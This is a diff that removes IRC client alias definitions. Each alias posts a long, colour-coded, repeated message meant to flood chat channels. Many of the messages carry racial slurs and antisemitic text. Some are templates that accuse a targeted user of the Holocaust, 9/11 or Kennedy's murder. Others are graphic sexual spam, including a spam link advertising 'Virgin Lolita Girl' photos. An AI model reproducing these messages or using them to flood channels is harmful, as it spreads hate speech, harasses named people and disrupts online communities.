-  poz2 = "say \002\0031,1#\0030,5X\0034,5D\003\002 \0030~\0036G \0030~\0034R \0030~\0037I \0030~\0038D \0030~\0039S \0030~\00312+ \00313,7(\00311,7:\0038,8#\003 \037/\\\\\037 \002POZZING: \0036[\0033|||100%|||\0036]\003 \0034COMPLETE\003\002 \037/\\\\\037\002\00310 $* has poz!";
-  poz3 = "say BIG \0030,1 ~+ \0038,1\002POZZY\002\0030,1 +~ \003 GAY HUGS FOR \002\0034{\0037{\0038{\0039{\00312{\0036{\003\002 \0038,8#\00311,7\\;\0034,7)\003 \00313\002 $* \002\003 \0034,7(\00311,7:\0038,8#\003 \002\0034}\0037}\0038}\0039}\00312}\0036}\003\002";
-  poz4 = "me poz \0034 $* ";
-
-  # {{{ crapflood
-  new = "say \0038,3 S\0039ince \0038,6 I\0039'm \0038,3 N\0039ew \0038,6 T\0039o \0038,3 L\0039ist \0038,6 I \0038,3 C\0039an't \0038,6 S\0039tart \0038,3 B\0039ut \0038,6 S\0039aying \0038,3 H\0039ello \0038,6 $* ";
-  panis = "say \0030,4 my panis do not up and i have a problem with my penny balls ";
-  nigita = "say \0031,8(: Virgin Lolita Girl Last Night go to BAR.\0030,12 Pizza man FUCKED girl to toilet.All of there \0032,4 blood.\0030,1See you Photo visit=>>\0030,12 http://pizzasex.nigx.ne";
-  damage = "say \002\0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ##";
-  oontz = "say \002\0034thEr \0035Iz \0037oNlY \00361 \0032ThInG \00312taHT \00311uNiTeZ \00310uS \0039aLL \00314rEgArDlEsS \0030oF \0032RaCe, \0033ReLiGOIn \0034oR \0035CoLeR\0039............. \00311aNd \00312tHaT \00313is \037\0034O0NTZ BEATZ!!!!!!!!!";
-  happyland = "say \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039- \00313hAPPY!11 LAND1211 \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039-";
-  stfy = "say \0034,8\002SHUT \037THE\037 FUCK \037YOU\037|";
-  shutup = "say \00315,10IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP";
-  thugz = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034THUGZ 4 LIFE WORD\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ ";
-  ircdongs = "say \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s";
-  urmamma = "say \0037HeY YO MaMMA In Da LUnCH SerVEs DA ChEEzzBuRGA";
-  hodapp = "say \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O";
-  hipvan = "say \002\037\0034,7hippie van at \0038,4 300 mph!111";
-  irchax = "say \002\037\003\00\0038,4unauthorized irc entry111\00";
-
-  # {{{ ripped from TAC0
-  mazel = "say \002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@";
-  diarrhea = "say \0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT";
-  fauxvag = "say \00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE\00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE\00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR";
-  bacardi = "say \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0038,4INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0038,4INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURK";
-  hitler = "say \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HIT";
-  binladen = "say \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT";
-  oswald = "say \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037??";
-  saddam = "say \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311,13 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311,13 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311";
-  clove = "say \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNE";
-  rip = "say \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF M";
-  shark = "say \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK";
-  beelego = "say \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8";
-  flewd = "say \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033W";
-  hotcold = "say ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003.";
-  penis = "say \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS ";
-  jewload = "say \0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS";
-  anus = "say \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,";
-  negro = "say \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFOR";
-  drunk = "say \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BE";
-  aids = "say \0039,8 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0038,9 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0039,8 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0038,9 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION.";
-  lips = "say \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MA";
-  concentrate = "say \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME";
-  mints = "say \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r";
-  justin = "say \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE ";
-  sunni = "say \0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3";
-  edible = "say \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3";
-  seminal = "say \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIR";
-  viva1 = "say \0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOM";
-  viva2 = "say \0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCO";
-  viva3 = "say \00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT";
-  viva4 = "say \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 ";
-  whalevag = "say \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE";
